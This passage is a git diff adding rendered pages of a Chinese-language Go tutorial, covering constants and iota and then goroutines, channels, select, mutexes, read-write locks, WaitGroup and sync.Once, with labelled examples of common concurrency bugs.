  5. _多用于占位,表示忽略值。
  6. +
+

常量​

+

相对于变量,常量是恒定不变的值,多用于定义程序运行期间不会改变的那些值。 常量的声明和变量声明非常类似,只是把var换成了const,常量在定义的时候必须赋值。

+
const pi = 3.1415
const e = 2.7182
+

声明了pi和e这两个常量之后,在整个程序运行期间它们的值都不能再发生变化了。

+

多个常量也可以一起声明:

+
const (
pi = 3.1415
e = 2.7182
)
+

const同时声明多个常量时,如果省略了值则表示和上面一行的值相同。 例如:

+
const (
n1 = 100
n2
n3
)
+

上面示例中,常量n1、n2、n3的值都是100。

+

iota​

+

iota是go语言的常量计数器,只能在常量的表达式中使用。

+

iota在const关键字出现时将被重置为0。const中每新增一行常量声明将使iota计数一次(iota可理解为const语句块中的行索引)。 使用iota能简化定义,在定义枚举时很有用。

+

举个例子:

+
const (
n1 = iota //0
n2 //1
n3 //2
n4 //3
)
+

几个常见的iota示例:​

+

使用_跳过某些值

+
const (
n1 = iota //0
n2 //1
_
n4 //3
)
+

iota声明中间插队

+
const (
n1 = iota //0
n2 = 100 //100
n3 = iota //2
n4 //3
)
const n5 = iota //0
+

定义数量级 (这里的<<表示左移操作,1<<10表示将1的二进制表示向左移10位,也就是由1变成了10000000000,也就是十进制的1024。同理2<<2表示将2的二进制表示向左移2位,也就是由10变成了1000,也就是十进制的8。)

+
const (
_ = iota
KB = 1 << (10 * iota)
MB = 1 << (10 * iota)
GB = 1 << (10 * iota)
TB = 1 << (10 * iota)
PB = 1 << (10 * iota)
)
+

多个iota定义在一行

+
const (
a, b = iota + 1, iota + 2 //1,2
c, d //2,3
e, f //3,4
)
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-并发/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-并发/index.html new file mode 100644 index 0000000..effd941 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-并发/index.html @@ -0,0 +1,424 @@ + + + + + +Go语言基础之并发 | wjlin0 + + + + + + + +

Go语言基础之并发

+

并发编程在当前软件领域是一个非常重要的概念,随着CPU等硬件的发展,我们无一例外的想让我们的程序运行的快一点、再快一点。Go语言在语言层面天生支持并发,充分利用现代CPU的多核优势,这也是Go语言能够大范围流行的一个很重要的原因。

+

基本概念​

+

首先我们先来了解几个与并发编程相关的基本概念。

+

串行、并发与并行​

+

串行:我们都是先读小学,小学毕业后再读初中,读完初中再读高中。

+

并发:同一时间段内执行多个任务(你在用微信和两个女朋友聊天)。

+

并行:同一时刻执行多个任务(你和你朋友都在用微信和女朋友聊天)。

+

进程、线程和协程​

+

进程(process):程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。

+

线程(thread):操作系统基于进程开启的轻量级进程,是操作系统调度执行的最小单位。

+

协程(coroutine):非操作系统提供而是由用户自行创建和控制的用户态‘线程’,比线程更轻量级。

+

并发模型​

+

业界将如何实现并发编程总结归纳为各式各样的并发模型,常见的并发模型有以下几种:

+
    +
  • 线程&锁模型
  • +
  • Actor模型
  • +
  • CSP模型
  • +
  • Fork&Join模型
  • +
+

Go语言中的并发程序主要是通过基于CSP(communicating sequential processes)的goroutine和channel来实现,当然也支持使用传统的多线程共享内存的并发方式。

+

goroutine​

+

Goroutine 是 Go 语言支持并发的核心,在一个Go程序中同时创建成百上千个goroutine是非常普遍的,一个goroutine会以一个很小的栈开始其生命周期,一般只需要2KB。区别于操作系统线程由系统内核进行调度, goroutine 是由Go运行时(runtime)负责调度。例如Go运行时会智能地将 m个goroutine 合理地分配给n个操作系统线程,实现类似m:n的调度机制,不再需要Go开发者自行在代码层面维护一个线程池。

+

Goroutine 是 Go 程序中最基本的并发执行单元。每一个 Go 程序都至少包含一个 goroutine——main goroutine,当 Go 程序启动时它会自动创建。

+

在Go语言编程中你不需要去自己写进程、线程、协程,你的技能包里只有一个技能——goroutine,当你需要让某个任务并发执行的时候,你只需要把这个任务包装成一个函数,开启一个 goroutine 去执行这个函数就可以了,就是这么简单粗暴。

+

go关键字​

+

Go语言中使用 goroutine 非常简单,只需要在函数或方法调用前加上go关键字就可以创建一个 goroutine ,从而让该函数或方法在新创建的 goroutine 中执行。

+
go f()  // 创建一个新的 goroutine 运行函数f
+

匿名函数也支持使用go关键字创建 goroutine 去执行。

+
go func(){
// ...
}()
+

一个 goroutine 必定对应一个函数/方法,可以创建多个 goroutine 去执行相同的函数/方法。

+

启动单个goroutine​

+

启动 goroutine 的方式非常简单,只需要在调用函数(普通函数和匿名函数)前加上一个go关键字。

+

我们先来看一个在 main 函数中执行普通函数调用的示例。

+
package main

import (
"fmt"
)

func hello() {
fmt.Println("hello")
}

func main() {
hello()
fmt.Println("你好")
}
+

将上面的代码编译后执行,得到的结果如下:

+
hello
你好
+

代码中 hello 函数和其后面的打印语句是串行的。

+

main goroutine

+

接下来我们在调用 hello 函数前面加上关键字go,也就是启动一个 goroutine 去执行 hello 这个函数。

+
func main() {
go hello() // 启动另外一个goroutine去执行hello函数
fmt.Println("main goroutine done!")
}
+

将上述代码重新编译后执行,得到输出结果如下。

+
你好
+

这一次的执行结果只在终端打印了”你好”,并没有打印 hello。这是为什么呢?

+

其实在 Go 程序启动时,Go 程序就会为 main 函数创建一个默认的 goroutine 。在上面的代码中我们在 main 函数中使用 go 关键字创建了另外一个 goroutine 去执行 hello 函数,而此时 main goroutine 还在继续往下执行,我们的程序中此时存在两个并发执行的 goroutine。当 main 函数结束时整个程序也就结束了,同时 main goroutine 也结束了,所有由 main goroutine 创建的 goroutine 也会一同退出。也就是说我们的 main 函数退出太快,另外一个 goroutine 中的函数还未执行完程序就退出了,导致未打印出“hello”。

+

main goroutine 就像是《权利的游戏》中的夜王,其他的 goroutine 都是夜王转化出的异鬼,夜王一死它转化的那些异鬼也就全部GG了。

+

所以我们要想办法让 main 函数‘“等一等”将在另一个 goroutine 中运行的 hello 函数。其中最简单粗暴的方式就是在 main 函数中“time.Sleep”一秒钟了(这里的1秒钟只是我们为了保证新的 goroutine 能够被正常创建和执行而设置的一个值)。

+

按如下方式修改我们的示例代码。

+
package main

import (
"fmt"
"time"
)

func hello() {
fmt.Println("hello")
}

func main() {
go hello()
fmt.Println("你好")
time.Sleep(time.Second)
}
+

将我们的程序重新编译后再次执行,程序会在终端输出如下结果,并且会短暂停顿一会儿。

+
你好
hello
+

为什么会先打印你好呢?

+

这是因为在程序中创建 goroutine 执行函数需要一定的开销,而与此同时 main 函数所在的 goroutine 是继续执行的。

+

main goroutine和hello goorutine

+

在上面的程序中使用time.Sleep让 main goroutine 等待 hello goroutine执行结束是不优雅的,当然也是不准确的。

+

Go 语言中通过sync包为我们提供了一些常用的并发原语,我们会在后面的小节单独介绍sync包中的内容。在这一小节,我们会先介绍一下 sync 包中的WaitGroup。当你并不关心并发操作的结果或者有其它方式收集并发操作的结果时,WaitGroup是实现等待一组并发操作完成的好方法。

+

下面的示例代码中我们在 main goroutine 中使用sync.WaitGroup来等待 hello goroutine 完成后再退出。

+
package main

import (
"fmt"
"sync"
)

// 声明全局等待组变量
var wg sync.WaitGroup

func hello() {
fmt.Println("hello")
wg.Done() // 告知当前goroutine完成
}

func main() {
wg.Add(1) // 登记1个goroutine
go hello()
fmt.Println("你好")
wg.Wait() // 阻塞等待登记的goroutine完成
}
+

将代码编译后再执行,得到的输出结果和之前一致,但是这一次程序不再会有多余的停顿,hello goroutine 执行完毕后程序直接退出。

+

启动多个goroutine​

+

在 Go 语言中实现并发就是这样简单,我们还可以启动多个 goroutine 。让我们再来看一个新的代码示例。这里同样使用了sync.WaitGroup来实现 goroutine 的同步。

+
package main

import (
"fmt"
"sync"
)

var wg sync.WaitGroup

func hello(i int) {
defer wg.Done() // goroutine结束就登记-1
fmt.Println("hello", i)
}
func main() {
for i := 0; i < 10; i++ {
wg.Add(1) // 启动一个goroutine就登记+1
go hello(i)
}
wg.Wait() // 等待所有登记的goroutine都结束
}
+

多次执行上面的代码会发现每次终端上打印数字的顺序都不一致。这是因为10个 goroutine 是并发执行的,而 goroutine 的调度是随机的。

+

动态栈​

+

操作系统的线程一般都有固定的栈内存(通常为2MB),而 Go 语言中的 goroutine 非常轻量级,一个 goroutine 的初始栈空间很小(一般为2KB),所以在 Go 语言中一次创建数万个 goroutine 也是可能的。并且 goroutine 的栈不是固定的,可以根据需要动态地增大或缩小, Go 的 runtime 会自动为 goroutine 分配合适的栈空间。

+

goroutine调度​

+

操作系统内核在调度时会挂起当前正在执行的线程并将寄存器中的内容保存到内存中,然后选出接下来要执行的线程并从内存中恢复该线程的寄存器信息,然后恢复执行该线程的现场并开始执行线程。从一个线程切换到另一个线程需要完整的上下文切换。因为可能需要多次内存访问,索引这个切换上下文的操作开销较大,会增加运行的cpu周期。

+

区别于操作系统内核调度操作系统线程,goroutine 的调度是Go语言运行时(runtime)层面的实现,是完全由 Go 语言本身实现的一套调度系统——go scheduler。它的作用是按照一定的规则将所有的 goroutine 调度到操作系统线程上执行。

+

在经历数个版本的迭代之后,目前 Go 语言的调度器采用的是 GPM 调度模型。

+

gpm

+

其中:

+
    +
  • G:表示 goroutine,每执行一次go f()就创建一个 G,包含要执行的函数和上下文信息。
  • +
  • 全局队列(Global Queue):存放等待运行的 G。
  • +
  • P:表示 goroutine 执行所需的资源,最多有 GOMAXPROCS 个。
  • +
  • P 的本地队列:同全局队列类似,存放的也是等待运行的G,存的数量有限,不超过256个。新建 G 时,G 优先加入到 P 的本地队列,如果本地队列满了会批量移动部分 G 到全局队列。
  • +
  • M:线程想运行任务就得获取 P,从 P 的本地队列获取 G,当 P 的本地队列为空时,M 也会尝试从全局队列或其他 P 的本地队列获取 G。M 运行 G,G 执行之后,M 会从 P 获取下一个 G,不断重复下去。
  • +
  • Goroutine 调度器和操作系统调度器是通过 M 结合起来的,每个 M 都代表了1个内核线程,操作系统调度器负责把内核线程分配到 CPU 的核上执行。
  • +
+

单从线程调度讲,Go语言相比起其他语言的优势在于OS线程是由OS内核来调度的, goroutine 则是由Go运行时(runtime)自己的调度器调度的,完全是在用户态下完成的, 不涉及内核态与用户态之间的频繁切换,包括内存的分配与释放,都是在用户态维护着一块大的内存池, 不直接调用系统的malloc函数(除非内存池需要改变),成本比调度OS线程低很多。 另一方面充分利用了多核的硬件资源,近似的把若干goroutine均分在物理线程上, 再加上本身 goroutine 的超轻量级,以上种种特性保证了 goroutine 调度方面的性能。

+

GOMAXPROCS​

+

Go运行时的调度器使用GOMAXPROCS参数来确定需要使用多少个 OS 线程来同时执行 Go 代码。默认值是机器上的 CPU 核心数。例如在一个 8 核心的机器上,GOMAXPROCS 默认为 8。Go语言中可以通过runtime.GOMAXPROCS函数设置当前程序并发时占用的 CPU逻辑核心数。(Go1.5版本之前,默认使用的是单核心执行。Go1.5 版本之后,默认使用全部的CPU 逻辑核心数。)

+

练习题​

+
    +
  1. 请写出下面程序的执行结果。
  2. +
+
   for i := 0; i < 5; i++ {
go func() {
fmt.Println(i)
}()
}
+

channel​

+

单纯地将函数并发执行是没有意义的。函数与函数间需要交换数据才能体现并发执行函数的意义。

+

虽然可以使用共享内存进行数据交换,但是共享内存在不同的 goroutine 中容易发生竞态问题。为了保证数据交换的正确性,很多并发模型中必须使用互斥量对内存进行加锁,这种做法势必造成性能问题。

+

Go语言采用的并发模型是CSP(Communicating Sequential Processes),提倡通过通信共享内存而不是通过共享内存而实现通信。

+

如果说 goroutine 是Go程序并发的执行体,channel就是它们之间的连接。channel是可以让一个 goroutine 发送特定值到另一个 goroutine 的通信机制。

+

Go 语言中的通道(channel)是一种特殊的类型。通道像一个传送带或者队列,总是遵循先入先出(First In First Out)的规则,保证收发数据的顺序。每一个通道都是一个具体类型的导管,也就是声明channel的时候需要为其指定元素类型。

+

channel类型​

+

channel是 Go 语言中一种特有的类型。声明通道类型变量的格式如下:

+
var 变量名称 chan 元素类型
+

其中:

+
    +
  • chan:是关键字
  • +
  • 元素类型:是指通道中传递元素的类型
  • +
+

举几个例子:

+
var ch1 chan int   // 声明一个传递整型的通道
var ch2 chan bool // 声明一个传递布尔型的通道
var ch3 chan []int // 声明一个传递int切片的通道
+

channel零值​

+

未初始化的通道类型变量其默认零值是nil。

+
var ch chan int
fmt.Println(ch) // <nil>
+

初始化channel​

+

声明的通道类型变量需要使用内置的make函数初始化之后才能使用。具体格式如下:

+
make(chan 元素类型, [缓冲大小])
+

其中:

+
    +
  • channel的缓冲大小是可选的。
  • +
+

举几个例子:

+
ch4 := make(chan int)
ch5 := make(chan bool, 1) // 声明一个缓冲区大小为1的通道
+

channel操作​

+

通道共有发送(send)、接收(receive)和关闭(close)三种操作。而发送和接收操作都使用<-符号。

+

现在我们先使用以下语句定义一个通道:

+
ch := make(chan int)
+

发送​

+

将一个值发送到通道中。

+
ch <- 10 // 把10发送到ch中
+

接收​

+

从一个通道中接收值。

+
x := <- ch // 从ch中接收值并赋值给变量x
<-ch // 从ch中接收值,忽略结果
+

关闭​

+

我们通过调用内置的close函数来关闭通道。

+
close(ch)
+

**注意:**一个通道值是可以被垃圾回收掉的。通道通常由发送方执行关闭操作,并且只有在接收方明确等待通道关闭的信号时才需要执行关闭操作。它和关闭文件不一样,通常在结束操作之后关闭文件是必须要做的,但关闭通道不是必须的。

+

关闭后的通道有以下特点:

+
    +
  1. 对一个关闭的通道再发送值就会导致 panic。
  2. +
  3. 对一个关闭的通道进行接收会一直获取值直到通道为空。
  4. +
  5. 对一个关闭的并且没有值的通道执行接收操作会得到对应类型的零值。
  6. +
  7. 关闭一个已经关闭的通道会导致 panic。
  8. +
+

无缓冲的通道​

+

无缓冲的通道又称为阻塞的通道。我们来看一下如下代码片段。

+
func main() {
ch := make(chan int)
ch <- 10
fmt.Println("发送成功")
}
+

上面这段代码能够通过编译,但是执行的时候会出现以下错误:

+
fatal error: all goroutines are asleep - deadlock!

goroutine 1 [chan send]:
main.main()
.../main.go:8 +0x54
+

deadlock表示我们程序中的 goroutine 都被挂起导致程序死锁了。为什么会出现deadlock错误呢?

+

因为我们使用ch := make(chan int)创建的是无缓冲的通道,无缓冲的通道只有在有接收方能够接收值的时候才能发送成功,否则会一直处于等待发送的阶段。同理,如果对一个无缓冲通道执行接收操作时,没有任何向通道中发送值的操作那么也会导致接收操作阻塞。就像田径比赛中的4x100接力赛,想要完成交棒必须有一个能够接棒的运动员,否则只能等待。简单来说就是无缓冲的通道必须有至少一个接收方才能发送成功。

+

上面的代码会阻塞在ch <- 10这一行代码形成死锁,那如何解决这个问题呢?

+

其中一种可行的方法是创建一个 goroutine 去接收值,例如:

+
func recv(c chan int) {
ret := <-c
fmt.Println("接收成功", ret)
}

func main() {
ch := make(chan int)
go recv(ch) // 创建一个 goroutine 从通道接收值
ch <- 10
fmt.Println("发送成功")
}
+

首先无缓冲通道ch上的发送操作会阻塞,直到另一个 goroutine 在该通道上执行接收操作,这时数字10才能发送成功,两个 goroutine 将继续执行。相反,如果接收操作先执行,接收方所在的 goroutine 将阻塞,直到 main goroutine 中向该通道发送数字10。

+

使用无缓冲通道进行通信将导致发送和接收的 goroutine 同步化。因此,无缓冲通道也被称为同步通道。

+

有缓冲的通道​

+

还有另外一种解决上面死锁问题的方法,那就是使用有缓冲区的通道。我们可以在使用 make 函数初始化通道时,可以为其指定通道的容量,例如:

+
func main() {
ch := make(chan int, 1) // 创建一个容量为1的有缓冲区通道
ch <- 10
fmt.Println("发送成功")
}
+

只要通道的容量大于零,那么该通道就属于有缓冲的通道,通道的容量表示通道中最大能存放的元素数量。当通道内已有元素数达到最大容量后,再向通道执行发送操作就会阻塞,除非有从通道执行接收操作。就像你小区的快递柜只有那么个多格子,格子满了就装不下了,就阻塞了,等到别人取走一个快递员就能往里面放一个。

+

我们可以使用内置的len函数获取通道内元素的数量,使用cap函数获取通道的容量,虽然我们很少会这么做。

+

多返回值模式​

+

当向通道中发送完数据时,我们可以通过close函数来关闭通道。当一个通道被关闭后,再往该通道发送值会引发panic,从该通道取值的操作会先取完通道中的值。通道内的值被接收完后再对通道执行接收操作得到的值会一直都是对应元素类型的零值。那我们如何判断一个通道是否被关闭了呢?

+

对一个通道执行接收操作时支持使用如下多返回值模式。

+
value, ok := <- ch
+

其中:

+
    +
  • value:从通道中取出的值,如果通道被关闭则返回对应类型的零值。
  • +
  • ok:通道ch关闭时返回 false,否则返回 true。
  • +
+

下面代码片段中的f2函数会循环从通道ch中接收所有值,直到通道被关闭后退出。

+
func f2(ch chan int) {
for {
v, ok := <-ch
if !ok {
fmt.Println("通道已关闭")
break
}
fmt.Printf("v:%#v ok:%#v\n", v, ok)
}
}

func main() {
ch := make(chan int, 2)
ch <- 1
ch <- 2
close(ch)
f2(ch)
}
+

for range接收值​

+

通常我们会选择使用for range循环从通道中接收值,当通道被关闭后,会在通道内的所有值被接收完毕后会自动退出循环。上面那个示例我们使用for range改写后会很简洁。

+
func f3(ch chan int) {
for v := range ch {
fmt.Println(v)
}
}
+

**注意:**目前Go语言中并没有提供一个不对通道进行读取操作就能判断通道是否被关闭的方法。不能简单的通过len(ch)操作来判断通道是否被关闭。

+

单向通道​

+

在某些场景下我们可能会将通道作为参数在多个任务函数间进行传递,通常我们会选择在不同的任务函数中对通道的使用进行限制,比如限制通道在某个函数中只能执行发送或只能执行接收操作。想象一下,我们现在有Producer和Consumer两个函数,其中Producer函数会返回一个通道,并且会持续将符合条件的数据发送至该通道,并在发送完成后将该通道关闭。而Consumer函数的任务是从通道中接收值进行计算,这两个函数之间通过Processer函数返回的通道进行通信。完整的示例代码如下。

+
package main

import (
"fmt"
)

// Producer 返回一个通道
// 并持续将符合条件的数据发送至返回的通道中
// 数据发送完成后会将返回的通道关闭
func Producer() chan int {
ch := make(chan int, 2)
// 创建一个新的goroutine执行发送数据的任务
go func() {
for i := 0; i < 10; i++ {
if i%2 == 1 {
ch <- i
}
}
close(ch) // 任务完成后关闭通道
}()

return ch
}

// Consumer 从通道中接收数据进行计算
func Consumer(ch chan int) int {
sum := 0
for v := range ch {
sum += v
}
return sum
}

func main() {
ch := Producer()

res := Consumer(ch)
fmt.Println(res) // 25

}
+

从上面的示例代码中可以看出正常情况下Consumer函数中只会对通道进行接收操作,但是这不代表不可以在Consumer函数中对通道进行发送操作。作为Producer函数的提供者,我们在返回通道的时候可能只希望调用方拿到返回的通道后只能对其进行接收操作。但是我们没有办法阻止在Consumer函数中对通道进行发送操作。

+

Go语言中提供了单向通道来处理这种需要限制通道只能进行某种操作的情况。

+
<- chan int // 只接收通道,只能接收不能发送
chan <- int // 只发送通道,只能发送不能接收
+

其中,箭头<-和关键字chan的相对位置表明了当前通道允许的操作,这种限制将在编译阶段进行检测。另外对一个只接收通道执行close也是不允许的,因为默认通道的关闭操作应该由发送方来完成。

+

我们使用单向通道将上面的示例代码进行如下改造。

+
// Producer2 返回一个接收通道
func Producer2() <-chan int {
ch := make(chan int, 2)
// 创建一个新的goroutine执行发送数据的任务
go func() {
for i := 0; i < 10; i++ {
if i%2 == 1 {
ch <- i
}
}
close(ch) // 任务完成后关闭通道
}()

return ch
}

// Consumer2 参数为接收通道
func Consumer2(ch <-chan int) int {
sum := 0
for v := range ch {
sum += v
}
return sum
}

func main() {
ch2 := Producer2()

res2 := Consumer2(ch2)
fmt.Println(res2) // 25
}
+

这一次,Producer函数返回的是一个只接收通道,这就从代码层面限制了该函数返回的通道只能进行接收操作,保证了数据安全。很多读者看到这个示例可能会觉着这样的限制是多余的,但是试想一下如果Producer函数可以在其他地方被其他人调用,你该如何限制他人不对该通道执行发送操作呢?并且返回限制操作的单向通道也会让代码语义更清晰、更易读。

+

在函数传参及任何赋值操作中全向通道(正常通道)可以转换为单向通道,但是无法反向转换。

+
var ch3 = make(chan int, 1)
ch3 <- 10
close(ch3)
Consumer2(ch3) // 函数传参时将ch3转为单向通道

var ch4 = make(chan int, 1)
ch4 <- 10
var ch5 <-chan int // 声明一个只接收通道ch5
ch5 = ch4 // 变量赋值时将ch4转为单向通道
<-ch5
+

总结​

+

下面的表格中总结了对不同状态下的通道执行相应操作的结果。

+

img

+

**注意:**对已经关闭的通道再执行 close 也会引发 panic。

+

select多路复用​

+

在某些场景下我们可能需要同时从多个通道接收数据。通道在接收数据时,如果没有数据可以被接收那么当前 goroutine 将会发生阻塞。你也许会写出如下代码尝试使用遍历的方式来实现从多个通道中接收值。

+
for{
// 尝试从ch1接收值
data, ok := <-ch1
// 尝试从ch2接收值
data, ok := <-ch2
…
}
+

这种方式虽然可以实现从多个通道接收值的需求,但是程序的运行性能会差很多。Go 语言内置了select关键字,使用它可以同时响应多个通道的操作。

+

Select 的使用方式类似于之前学到的 switch 语句,它也有一系列 case 分支和一个默认的分支。每个 case 分支会对应一个通道的通信(接收或发送)过程。select 会一直等待,直到其中的某个 case 的通信操作完成时,就会执行该 case 分支对应的语句。具体格式如下:

+
select {
case <-ch1:
//...
case data := <-ch2:
//...
case ch3 <- 10:
//...
default:
//默认操作
}
+

Select 语句具有以下特点。

+
    +
  • 可处理一个或多个 channel 的发送/接收操作。
  • +
  • 如果多个 case 同时满足,select 会随机选择一个执行。
  • +
  • 对于没有 case 的 select 会一直阻塞,可用于阻塞 main 函数,防止退出。
  • +
+

下面的示例代码能够在终端打印出10以内的奇数,我们借助这个代码片段来看一下 select 的具体使用。

+
package main

import "fmt"

func main() {
ch := make(chan int, 1)
for i := 1; i <= 10; i++ {
select {
case x := <-ch:
fmt.Println(x)
case ch <- i:
}
}
}
+

上面的代码输出内容如下。

+
1
3
5
7
9
+

示例中的代码首先是创建了一个缓冲区大小为1的通道 ch,进入 for 循环后:

+
    +
  • 第一次循环时 i = 1,select 语句中包含两个 case 分支,此时由于通道中没有值可以接收,所以x := <-ch 这个 case 分支不满足,而ch <- i这个分支可以执行,会把1发送到通道中,结束本次 for 循环;
  • +
  • 第二次 for 循环时,i = 2,由于通道缓冲区已满,所以ch <- i这个分支不满足,而x := <-ch这个分支可以执行,从通道接收值1并赋值给变量 x ,所以会在终端打印出 1;
  • +
  • 后续的 for 循环以此类推会依次打印出3、5、7、9。
  • +
+

通道误用示例​

+

接下来,我们将展示两个因误用通道导致程序出现 bug 的代码片段,希望能够加深读者对通道操作的印象。

+

示例1​

+

各位读者可以查看以下示例代码,尝试找出其中存在的问题。

+
// demo1 通道误用导致的bug
func demo1() {
wg := sync.WaitGroup{}

ch := make(chan int, 10)
for i := 0; i < 10; i++ {
ch <- i
}
close(ch)

wg.Add(3)
for j := 0; j < 3; j++ {
go func() {
for {
task := <-ch
// 这里假设对接收的数据执行某些操作
fmt.Println(task)
}
wg.Done()
}()
}
wg.Wait()
}
+

将上述代码编译执行后,匿名函数所在的 goroutine 并不会按照预期在通道被关闭后退出。因为task := <- ch的接收操作在通道被关闭后会一直接收到零值,而不会退出。此处的接收操作应该使用task, ok := <- ch,通过判断布尔值ok为假时退出;或者使用select 来处理通道。

+

示例2​

+

各位读者阅读下方代码片段,尝试找出其中存在的问题。

+
// demo2 通道误用导致的bug
func demo2() {
ch := make(chan string)
go func() {
// 这里假设执行一些耗时的操作
time.Sleep(3 * time.Second)
ch <- "job result"
}()

select {
case result := <-ch:
fmt.Println(result)
case <-time.After(time.Second): // 较小的超时时间
return
}
}
+

上述代码片段可能导致 goroutine 泄露(goroutine 并未按预期退出并销毁)。由于 select 命中了超时逻辑,导致通道没有消费者(无接收操作),而其定义的通道为无缓冲通道,因此 goroutine 中的ch <- "job result"操作会一直阻塞,最终导致 goroutine 泄露。

+

并发安全和锁​

+

有时候我们的代码中可能会存在多个 goroutine 同时操作一个资源(临界区)的情况,这种情况下就会发生竞态问题(数据竞态)。这就好比现实生活中十字路口被各个方向的汽车竞争,还有火车上的卫生间被车厢里的人竞争。

+

我们用下面的代码演示一个数据竞争的示例。

+
package main

import (
"fmt"
"sync"
)

var (
x int64

wg sync.WaitGroup // 等待组
)

// add 对全局变量x执行5000次加1操作
func add() {
for i := 0; i < 5000; i++ {
x = x + 1
}
wg.Done()
}

func main() {
wg.Add(2)

go add()
go add()

wg.Wait()
fmt.Println(x)
}
+

我们将上面的代码编译后执行,不出意外每次执行都会输出诸如9537、5865、6527等不同的结果。这是为什么呢?

+

在上面的示例代码片中,我们开启了两个 goroutine 分别执行 add 函数,这两个 goroutine 在访问和修改全局的x变量时就会存在数据竞争,某个 goroutine 中对全局变量x的修改可能会覆盖掉另一个 goroutine 中的操作,所以导致最后的结果与预期不符。

+

互斥锁​

+

互斥锁是一种常用的控制共享资源访问的方法,它能够保证同一时间只有一个 goroutine 可以访问共享资源。Go 语言中使用sync包中提供的Mutex类型来实现互斥锁。

+

sync.Mutex提供了两个方法供我们使用。

+ + + + + + + + + + + + + + + + + +
方法名功能
func (m *Mutex) Lock()获取互斥锁
func (m *Mutex) Unlock()释放互斥锁
+

我们在下面的示例代码中使用互斥锁限制每次只有一个 goroutine 才能修改全局变量x,从而修复上面代码中的问题。

+
package main

import (
"fmt"
"sync"
)

// sync.Mutex

var (
x int64

wg sync.WaitGroup // 等待组

m sync.Mutex // 互斥锁
)

// add 对全局变量x执行5000次加1操作
func add() {
for i := 0; i < 5000; i++ {
m.Lock() // 修改x前加锁
x = x + 1
m.Unlock() // 改完解锁
}
wg.Done()
}

func main() {
wg.Add(2)

go add()
go add()

wg.Wait()
fmt.Println(x)
}
+

将上面的代码编译后多次执行,每一次都会得到预期中的结果——10000。

+

使用互斥锁能够保证同一时间有且只有一个 goroutine 进入临界区,其他的 goroutine 则在等待锁;当互斥锁释放后,等待的 goroutine 才可以获取锁进入临界区,多个 goroutine 同时等待一个锁时,唤醒的策略是随机的。

+

读写互斥锁​

+

互斥锁是完全互斥的,但是实际上有很多场景是读多写少的,当我们并发的去读取一个资源而不涉及资源修改的时候是没有必要加互斥锁的,这种场景下使用读写锁是更好的一种选择。读写锁在 Go 语言中使用sync包中的RWMutex类型。

+

sync.RWMutex提供了以下5个方法。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法名功能
func (rw *RWMutex) Lock()获取写锁
func (rw *RWMutex) Unlock()释放写锁
func (rw *RWMutex) RLock()获取读锁
func (rw *RWMutex) RUnlock()释放读锁
func (rw *RWMutex) RLocker() Locker返回一个实现Locker接口的读写锁
+

读写锁分为两种:读锁和写锁。当一个 goroutine 获取到读锁之后,其他的 goroutine 如果是获取读锁会继续获得锁,如果是获取写锁就会等待;而当一个 goroutine 获取写锁之后,其他的 goroutine 无论是获取读锁还是写锁都会等待。

+

下面我们使用代码构造一个读多写少的场景,然后分别使用互斥锁和读写锁查看它们的性能差异。

+
var (
x int64
wg sync.WaitGroup
mutex sync.Mutex
rwMutex sync.RWMutex
)

// writeWithLock 使用互斥锁的写操作
func writeWithLock() {
mutex.Lock() // 加互斥锁
x = x + 1
time.Sleep(10 * time.Millisecond) // 假设读操作耗时10毫秒
mutex.Unlock() // 解互斥锁
wg.Done()
}

// readWithLock 使用互斥锁的读操作
func readWithLock() {
mutex.Lock() // 加互斥锁
time.Sleep(time.Millisecond) // 假设读操作耗时1毫秒
mutex.Unlock() // 释放互斥锁
wg.Done()
}

// writeWithLock 使用读写互斥锁的写操作
func writeWithRWLock() {
rwMutex.Lock() // 加写锁
x = x + 1
time.Sleep(10 * time.Millisecond) // 假设读操作耗时10毫秒
rwMutex.Unlock() // 释放写锁
wg.Done()
}

// readWithRWLock 使用读写互斥锁的读操作
func readWithRWLock() {
rwMutex.RLock() // 加读锁
time.Sleep(time.Millisecond) // 假设读操作耗时1毫秒
rwMutex.RUnlock() // 释放读锁
wg.Done()
}

func do(wf, rf func(), wc, rc int) {
start := time.Now()
// wc个并发写操作
for i := 0; i < wc; i++ {
wg.Add(1)
go wf()
}

// rc个并发读操作
for i := 0; i < rc; i++ {
wg.Add(1)
go rf()
}

wg.Wait()
cost := time.Since(start)
fmt.Printf("x:%v cost:%v\n", x, cost)

}
+

我们假设每一次读操作都会耗时1ms,而每一次写操作会耗时10ms,我们分别测试使用互斥锁和读写互斥锁执行10次并发写和1000次并发读的耗时数据。

+
// 使用互斥锁,10并发写,1000并发读
do(writeWithLock, readWithLock, 10, 1000) // x:10 cost:1.466500951s

// 使用读写互斥锁,10并发写,1000并发读
do(writeWithRWLock, readWithRWLock, 10, 1000) // x:10 cost:117.207592ms
+

从最终的执行结果可以看出,使用读写互斥锁在读多写少的场景下能够极大地提高程序的性能。不过需要注意的是如果一个程序中的读操作和写操作数量级差别不大,那么读写互斥锁的优势就发挥不出来。

+

sync.WaitGroup​

+

在代码中生硬的使用time.Sleep肯定是不合适的,Go语言中可以使用sync.WaitGroup来实现并发任务的同步。 sync.WaitGroup有以下几个方法:

+ + + + + + + + + + + + + + + + + + + + + +
方法名功能
func (wg * WaitGroup) Add(delta int)计数器+delta
(wg *WaitGroup) Done()计数器-1
(wg *WaitGroup) Wait()阻塞直到计数器变为0
+

sync.WaitGroup内部维护着一个计数器,计数器的值可以增加和减少。例如当我们启动了 N 个并发任务时,就将计数器值增加N。每个任务完成时通过调用 Done 方法将计数器减1。通过调用 Wait 来等待并发任务执行完,当计数器值为 0 时,表示所有并发任务已经完成。

+

我们利用sync.WaitGroup将上面的代码优化一下:

+
var wg sync.WaitGroup

func hello() {
defer wg.Done()
fmt.Println("Hello Goroutine!")
}
func main() {
wg.Add(1)
go hello() // 启动另外一个goroutine去执行hello函数
fmt.Println("main goroutine done!")
wg.Wait()
}
+

需要注意sync.WaitGroup是一个结构体,进行参数传递的时候要传递指针。

+

sync.Once​

+

在某些场景下我们需要确保某些操作即使在高并发的场景下也只会被执行一次,例如只加载一次配置文件等。

+

Go语言中的sync包中提供了一个针对只执行一次场景的解决方案——sync.Once,sync.Once只有一个Do方法,其签名如下:

+
func (o *Once) Do(f func())
+

**注意:**如果要执行的函数f需要传递参数就需要搭配闭包来使用。

+

